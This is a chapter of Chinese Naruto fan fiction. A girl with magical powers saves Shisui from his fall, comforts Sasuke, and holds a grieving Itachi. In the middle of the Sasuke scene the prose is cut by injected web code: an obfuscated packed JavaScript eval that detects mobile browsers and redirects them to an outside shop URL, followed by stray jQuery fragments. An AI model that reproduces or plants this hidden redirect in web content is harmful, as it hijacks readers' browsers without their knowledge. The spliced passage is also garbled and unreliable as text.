“止水!”

    “别阻止我,鼬。如果还是挚友的话。”

    少年极速下坠着,风叫嚣着带走他体内残余的温度。

    这样好像没有那么疼了,他不合时宜的想到。

    曾经听老人说失去眼睛后听力会变得更加敏锐,现在看来倒也是真的。

    抱歉啊,鼬,一切就拜托你了。

    失重感骤然消失,耳边本该呼啸的风也逐渐安静,转为夏夜该有的柔和与恬静。止水意料之中的疼痛并未袭来,反而是落入一个冰冷但柔软的怀抱中。

    谁?!

    他艰难地伸手摸索,那双臂弯纤细柔软,虽然呼吸间的满是血的腥甜,但他仍在一瞬间便确认了一件事——不是小鼬。

    也不是小白。

    因为那个女孩不久前才开始抽条,并没有这么高。

    伴随着这个念头的出现,止水脑中警铃大震,但转瞬又放松下来,因为自己那双引人觊觎的眼睛已经没了。

    没什么好怕的,这副残躯已无力回天,只需静静等待死亡罢了。

    于是他没出声,而是努力的扯起了一个笑,不知是笑来者慢了一步,还是为了给自己勇气,让自己不要害怕即将到来的死亡。

    他饶有兴致地等待着对方接下来的动作,不断蔓延的毒素已经让他的意识昏昏沉沉,紧接着身边的温度骤然改变。

    彻底陷入黑暗前,他恍恍惚惚感到脸上落下一滴温热的液体。

    ——————

    夏夜的风中总是带着点凉爽,仿佛是为吹散白天的燥热而生。

    南贺川的水凉且湍急,残叶飘落在水面,很快又被裹挟带走,顷刻间便消失无影踪。

    悬崖之上,少年绝望地呼喊着挚友的名字,却无法抓住那双方才还近在咫尺的手。

    乌鸦悲鸣掠过,处在悬崖下的白愉安知道这意味着什么——鼬开启了那双万花筒写轮眼。

    熟悉的身影自崖边仰头倒下,似鸟投林,没有丝毫犹豫,这恰是令目击的两人最痛心的。

    成为腐朽的政治集团争权夺利的牺牲品,死后世人提起只余一声叹息。他甚至称不上为了守护和平而牺牲,而被他托付眼睛的挚友亦因他的死被族人误解、唾骂,直至走上那条不归路。

    白愉安嘴唇嚅动几下,无声念出了那句准备已久的咒语。

    Arresto Momentum。

    于是少年的身体顺势落入她的怀中。

    【我心疼。老师,我心疼…】

    明明都还没有成年,却要迎接不该属于他的死亡。

    74:【小安…】

    137:【我也是。】

    鬼化的身体本应能够轻而易举地抱住落下的少年,但这一刻,她觉得怀中少年的身体似有千万斤重,让她不敢松,也不敢紧。

    她害怕动作太大会让少年死去。

    怀中少年不知她所思所想,回光返照般慌乱抬起一只手触向她,也将她沉重的思绪拉了回来。

    她不敢迟疑,立刻将少年纳入自己的空间中,不必施咒,少年的意识已经涣散。

    可在看到那空无一物眼眶时,她终究是没忍住,一滴泪不受控制的夺眶而出,砸在止水的脸上,于是泪痕得以在他安静的面容上延续。

    她抬头使劲眨了眨眼,接着对怀中意识迷离的少年施加反转术式,将少年破败不堪的身体迅速修复。

    生气、憎恨、恶心,沉重的负面情绪如野草般滋生。让她不得不深吸一口气以平复这纷乱的情绪。

    该来的,总会发生。

    【老师,我不想团藏死了。】

    我要他生不如死。

    想到这,她又有些生气。于是伸出双手啪的一声拍在怀中人的脸上,又顺势揪起两颊的软肉来回揉弄,直到那温润的面容上泛起肉眼可见的红才肯罢手。

    鼬和止水的像与契合的不仅体现于思想和行为方面,在白愉安看来,他们脸上两条纹路也是证据之一。

    纹路随着他们年龄的增长、随着长开的面容而愈发显眼、愈发深重,仿佛化妆时误将两颊的修容用在了鼻子上。

    里面盛着道不尽的忧思。

    只是鼬脸上那两条是泪沟,止水脸上的该叫什么?

    算法令纹吗?白愉安伸出一指顺着它从山根下滑到鼻尖,又轻轻捏住那高而挺的鼻子——有些难听,从今天起它就叫止水线了。

    啧!气死我了。不是跟你说过要好好爱惜自己的眼睛吗?还笑呢!你死了鼬要怎么办…

    她又加了几分力,看着局部被血浸染过的面容因缺氧微微涨红才满意,随后借魔法为他细细清理其上的斑驳的血迹。

    【清纯可人妆。】白愉安看着那双紧阖的凤眸和下方三处淡红内心五味杂陈地下着定义。

    ——————

    “口口声声一族一族,说出这种话的你们妄自尊大,又不知我器量的深浅,所以才会被我打翻在地。”鼬低着头对着翻到在地上的三个宇智波平静的说道。

    但白愉安知道,这份平静下掩藏着的愤怒。

    “住手,鼬。”富岳站在离鼬不远处说道。

    “住手啊!尼桑!”

    她狠狠闭了闭了眼,因为接下来,鼬会跪在地上为不属于他的罪责道歉。

    止水的遗愿给了鼬一生也无法卸下的重担。

    她感到喉咙有些酸涩,但心中的怒火却和鼬一般难以压下。

    【老师,我乳腺要炸了。】

    回应她的是137和74的沉默。

    这一幕她看过无数次,明明烂熟于心的画面,此刻无论如何又想不起,或者说不愿想。

    于是她就这么浑浑噩噩的牵着佐助进了屋

    小孩子只是天真,但不是傻子。何况是佐助这样聪慧的小孩。

    许是为了对鼬的行为进行更好的反转,所以岸本不曾交代过。

    “姐姐,父亲和尼桑……”

    他怎么可能对家中的异状一无所感。

    只是他太相信鼬了,于是一次次对哥哥忽悠他的话信以为真。大脑也是个叛徒,过后模糊那些指向真相的线索和疑虑,以及鼬灭族那晚的泪水。

    又或者鼬给他下幻术了?

    “没事

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17880872|212450||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的。”

    她看着佐助,也是在看着曾经无能为力的自己。

    没事的,我已经成为了理想中无所不能的大人,所以一定不会让你踽踽独行于人世间。

    我保证,会好好教训一下那两个事事瞒着你的哥哥。

    我保证这一次,鼬会陪着你长大,而不是教着你长大。

    我保证你的未来不再充满黑暗,过往的种种和现下将成为你前进的动力,而你的梦想,属于繁花锦簇的未来。

    我向你保证,佐助。

    ——————

    是夜,月朗星疏。

    鼬独自一人倚靠在门边,手中捏着止水的绝笔,眼睛一眨不眨地盯着。聒噪的蝉鸣一下又一下敲击着他紧绷的心弦,令他烦躁,也令他麻木。

    咚咚咚———

    “我可以进来吗?”熟悉的声音轻轻问道。

    房内的人并未说话,但白愉安听到了里面传来的窸窸窣窣声响,紧接着门轻轻开了一条小缝。

    少女的发育是比少年早一些的,进入房间的白愉安看着现在比自己矮半个头的鼬从未如此真实的体会到这句话的正确性。她垂眸看着低头不语的少年,随即悬身转入门内,接着轻轻推上门。

    睫毛好长啊,两个睫毛精真的名不虚传,她一边想着,一边又在心里轻轻叹了口气。

    眼睛没有小时候那么亮了。

    鼬等了半天未见少女开口,迟疑的抬起头。

    于是被牵着手拥入了一个单薄的怀抱。

    黑暗中,他听见少女嗓音柔和,轻轻叹了口气:“压抑着自己的情绪可不太好呀,想哭就哭出来吧,止水和我都不会怪你的。”

    鼬觉得自己应该推开她的,可是抬起的双手无论如何也使不出推开白的力气,最后只得将这份力气用在回抱上。他单手便可整个揽住她的身体,温暖而脆弱的感觉让他恍然想起五岁那年即将离去的她,于是他下意识想要更用力一些,把她嵌入自己的身体,以防她像止水一样在自己看不到的地方受伤或死亡。

    怀抱的温度像泪水的温床,他想到,不然为何自己会哭出来呢。

    他将脸埋在她的肩膀上,决堤的泪水很快浸湿了那一块柔软的布料。对方一下一下顺着他的背,就像他安抚佐助一样。

    到底还是个小孩子,白愉安心塞地想着,可是他的哭泣不能出声,就连抽噎声也得小心的压抑着,因为会不小心被在熟睡的家人察觉,因为他还得收拾好自己继续坚持下去。

    动漫里,鼬对父母动刀的时候也是这样哭的。

    那份隐忍使得共情者仿若窒息。

    思及此,她默默加了一个隔音咒。

    “哭出来吧,他们听不见的。我知道止水的死你尽力了,不怪你。”

    窗外蝉鸣依旧,鼬抱着她的力气更重了一些,是一种无声的拒绝。

    似乎止水说的确实没错,至少在哭泣这方面,鼬和她很像。

    “好吧,那就不出声。哭吧哭吧,没事。”少女的声音里掺了点苦涩,但依旧是温柔的。

    我厌倦了等待,所以不会让你等太久的。